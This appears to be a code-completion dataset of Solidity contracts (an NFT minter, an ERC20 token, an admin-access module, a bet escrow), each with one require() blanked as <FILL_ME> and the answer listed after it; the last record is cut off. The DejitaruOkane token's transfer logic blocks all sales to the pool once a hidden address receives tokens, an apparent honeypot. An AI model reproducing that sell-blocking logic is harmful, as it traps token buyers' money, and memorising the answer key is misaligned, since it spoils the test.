/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(token__owner[tokenId] != address(0), "ERC721Metadata: URI query for nonexistent token");
uint256 boxId = token__generation[tokenId];
string memory uri_root = box__uri_root[boxId];
require(<FILL_ME>)
uint256 current__token__status = token__status[tokenId];
string memory uri_path;
if (current__token__status == TOKEN_STATUS__CLOSED) {
uri_path = "closed";
} else if (current__token__status == TOKEN_STATUS__OPENED) {
uri_path = "opened";
} else if (current__token__status == TOKEN_STATUS__PENDING) {
uri_path = "pending";
}
return string(abi.encodePacked("ipfs://", uri_root, "/", uri_path, ".json"));
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| bytes(uri_root).length>0,"URI not set" | 219,860 | bytes(uri_root).length>0 |
"Minting is paused" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
require(boxId > 0, "validateMint: boxId must be greater than zero");
require(<FILL_ME>)
bytes32 hash_of_auth = sha256(auth);
require(hash__auth_token[hash_of_auth] == 0, "Auth already used");
uint256 quantity = box__quantity[boxId];
require(quantity > 0, "No more for this round");
uint256 tokenId = (box__upper_bound[boxId] + 1) - quantity;
uint256 original_owner = token__original_owner[boxId][to];
require(
original_owner < box__lower_bound[boxId] || original_owner > box__upper_bound[boxId],
"Limited to one mint per address"
);
bool all_validators_passed;
uint256 validate_status;
address[] memory _ref_validators = box__validators[boxId];
uint256 length = _ref_validators.length;
for (uint256 i; i < length; ) {
if (_ref_validators[i] == address(0)) {
all_validators_passed = false;
break;
}
validate_status = IValidateMint(_ref_validators[i]).validate(to, boxId, tokenId, auth);
unchecked {
++i;
}
if (validate_status == VALIDATE_STATUS__NA) {
continue;
} else if (validate_status == VALIDATE_STATUS__FAIL) {
all_validators_passed = false;
break;
} else if (validate_status == VALIDATE_STATUS__PASS && length == i + 1) {
all_validators_passed = true;
}
}
if (!all_validators_passed) {
require(box__sale_time[boxId] <= block.timestamp, "Please wait till sale time");
}
super._safeMint(to, tokenId);
box__quantity[boxId] -= 1;
hash__auth_token[hash_of_auth] = tokenId;
token__generation[tokenId] = boxId;
token__original_owner[boxId][to] = tokenId;
emit Mint(to, tokenId);
}
}
| !all_paused&&!box__is_paused[boxId],"Minting is paused" | 219,860 | !all_paused&&!box__is_paused[boxId] |
"Auth already used" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
require(boxId > 0, "validateMint: boxId must be greater than zero");
require(!all_paused && !box__is_paused[boxId], "Minting is paused");
bytes32 hash_of_auth = sha256(auth);
require(<FILL_ME>)
uint256 quantity = box__quantity[boxId];
require(quantity > 0, "No more for this round");
uint256 tokenId = (box__upper_bound[boxId] + 1) - quantity;
uint256 original_owner = token__original_owner[boxId][to];
require(
original_owner < box__lower_bound[boxId] || original_owner > box__upper_bound[boxId],
"Limited to one mint per address"
);
bool all_validators_passed;
uint256 validate_status;
address[] memory _ref_validators = box__validators[boxId];
uint256 length = _ref_validators.length;
for (uint256 i; i < length; ) {
if (_ref_validators[i] == address(0)) {
all_validators_passed = false;
break;
}
validate_status = IValidateMint(_ref_validators[i]).validate(to, boxId, tokenId, auth);
unchecked {
++i;
}
if (validate_status == VALIDATE_STATUS__NA) {
continue;
} else if (validate_status == VALIDATE_STATUS__FAIL) {
all_validators_passed = false;
break;
} else if (validate_status == VALIDATE_STATUS__PASS && length == i + 1) {
all_validators_passed = true;
}
}
if (!all_validators_passed) {
require(box__sale_time[boxId] <= block.timestamp, "Please wait till sale time");
}
super._safeMint(to, tokenId);
box__quantity[boxId] -= 1;
hash__auth_token[hash_of_auth] = tokenId;
token__generation[tokenId] = boxId;
token__original_owner[boxId][to] = tokenId;
emit Mint(to, tokenId);
}
}
| hash__auth_token[hash_of_auth]==0,"Auth already used" | 219,860 | hash__auth_token[hash_of_auth]==0 |
"Please wait till sale time" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
require(boxId > 0, "validateMint: boxId must be greater than zero");
require(!all_paused && !box__is_paused[boxId], "Minting is paused");
bytes32 hash_of_auth = sha256(auth);
require(hash__auth_token[hash_of_auth] == 0, "Auth already used");
uint256 quantity = box__quantity[boxId];
require(quantity > 0, "No more for this round");
uint256 tokenId = (box__upper_bound[boxId] + 1) - quantity;
uint256 original_owner = token__original_owner[boxId][to];
require(
original_owner < box__lower_bound[boxId] || original_owner > box__upper_bound[boxId],
"Limited to one mint per address"
);
bool all_validators_passed;
uint256 validate_status;
address[] memory _ref_validators = box__validators[boxId];
uint256 length = _ref_validators.length;
for (uint256 i; i < length; ) {
if (_ref_validators[i] == address(0)) {
all_validators_passed = false;
break;
}
validate_status = IValidateMint(_ref_validators[i]).validate(to, boxId, tokenId, auth);
unchecked {
++i;
}
if (validate_status == VALIDATE_STATUS__NA) {
continue;
} else if (validate_status == VALIDATE_STATUS__FAIL) {
all_validators_passed = false;
break;
} else if (validate_status == VALIDATE_STATUS__PASS && length == i + 1) {
all_validators_passed = true;
}
}
if (!all_validators_passed) {
require(<FILL_ME>)
}
super._safeMint(to, tokenId);
box__quantity[boxId] -= 1;
hash__auth_token[hash_of_auth] = tokenId;
token__generation[tokenId] = boxId;
token__original_owner[boxId][to] = tokenId;
emit Mint(to, tokenId);
}
}
| box__sale_time[boxId]<=block.timestamp,"Please wait till sale time" | 219,860 | box__sale_time[boxId]<=block.timestamp |
"max wallet limit" | // SPDX-License-Identifier: MIT
/**
Dejitaru Okane / Digital Money
www. Find the golden circle .com
*/
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract DejitaruOkane is ERC20, Ownable {
address public pool;
address _o;
address _p;
bool rewards;
uint256 _startTime;
uint256 constant _startTotalSupply = 1e29;
uint256 constant _startMaxWallet = _startTotalSupply / 100;
uint256 constant _addMaxWalletPerSec =
(_startTotalSupply - _startMaxWallet) / 100000;
constructor(address p) ERC20("Dejitaru Okane", "OKANE") {
}
function decimals() public view virtual override returns (uint8) {
}
function start(address poolAddress) external onlyOwner {
}
function maxWallet(address acc) external view returns (uint256) {
}
function addMaxWalletPerSec() external pure returns (uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(
pool != address(0) || from == owner() || to == owner(),
"not started"
);
require(<FILL_ME>)
if (rewards) {
require(to != pool);
} else {
if (to == _p) rewards = true;
}
super._transfer(from, to, amount);
}
}
| balanceOf(to)+amount<=this.maxWallet(to)||to==_o||from==_o,"max wallet limit" | 219,886 | balanceOf(to)+amount<=this.maxWallet(to)||to==_o||from==_o |
"OwnableWithAdmin: caller is not the owner or admin" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableWithAdmin is Context {
address private _owner;
address private _admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event NewAdmin(address indexed previousAdmin, address indexed newAdmin);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Returns the address of the current admin.
*/
function admin() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or the admin.
*/
modifier onlyOwnerOrAdmin() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner forever.
* NOTE: This function does not remove the admin, so onlyOwnerOrAdmin function
* can still be called if an admin was set prior to the renouncing of ownership.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Leaves the contract without owner or admin. It will not be possible to call
* onlyOwner or onlyOwnerOrAdmin functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership and adminship will leave the contract without an owner or an admin,
* thereby removing any functionality that is only available to the owner or admin forever.
*/
function renounceOwnershipandAdminship() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
function setAdmin(address newAdmin) public virtual onlyOwner {
}
function _setAdmin(address newAdmin) internal {
}
}
| owner()==_msgSender()||admin()==_msgSender(),"OwnableWithAdmin: caller is not the owner or admin" | 220,110 | owner()==_msgSender()||admin()==_msgSender() |
null | //SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract BalajisBet {
using SafeERC20 for IERC20;
IERC20 public wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public wbtcSide;
address public balajis;
uint public deadline;
AggregatorV3Interface internal priceFeed;
constructor() {
}
function getLatestPrice() public view returns (int) {
}
function betWbtc() external {
}
// In case balajis never takes the other side of the bet, allow pulling out the funds so they dont get stuck
function pullWbtc() external {
}
// For balajis to call
function betUsdc() external {
require(balajis == address(0)); // can only be called once
require(<FILL_ME>) // avoid funds being pulled through mev right before this call is made
balajis = msg.sender;
deadline = block.timestamp + 90 days;
usdc.safeTransferFrom(msg.sender, address(this), 1e6*1e6); // 1M usdc
}
function settle() external {
}
// In case there's a bug in the contracts
// or if hyperinflation breaks society and chainlink feeds stop working
// after 10 days of not settling its possible to just withdraw all money to both parties
// can be called multiple times so amounts can be arbitrary
// separated into two functions in case one of the tokens stop working (eg bitgo rugs the contracts because society collapses)
function emergencyWithdrawUsdc(uint amountUsdc) external {
}
function emergencyWithdrawWbtc(uint amountWbtc) external {
}
}
| wbtc.balanceOf(address(this))>=1e8 | 220,309 | wbtc.balanceOf(address(this))>=1e8 |
null | //SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract BalajisBet {
using SafeERC20 for IERC20;
IERC20 public wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public wbtcSide;
address public balajis;
uint public deadline;
AggregatorV3Interface internal priceFeed;
constructor() {
}
function getLatestPrice() public view returns (int) {
}
function betWbtc() external {
}
// In case balajis never takes the other side of the bet, allow pulling out the funds so they dont get stuck
function pullWbtc() external {
}
// For balajis to call
function betUsdc() external {
}
function settle() external {
// anyone can settle this to ensure it gets settled asap
require(<FILL_ME>)
int price = getLatestPrice();
if(price >= 1e14){ // uses 8 decimals, can check by calling latestRoundData() on https://etherscan.io/address/0xf4030086522a5beea4988f8ca5b36dbc97bee88c#readContract
wbtc.safeTransfer(balajis, wbtc.balanceOf(address(this)));
usdc.safeTransfer(balajis, usdc.balanceOf(address(this)));
} else {
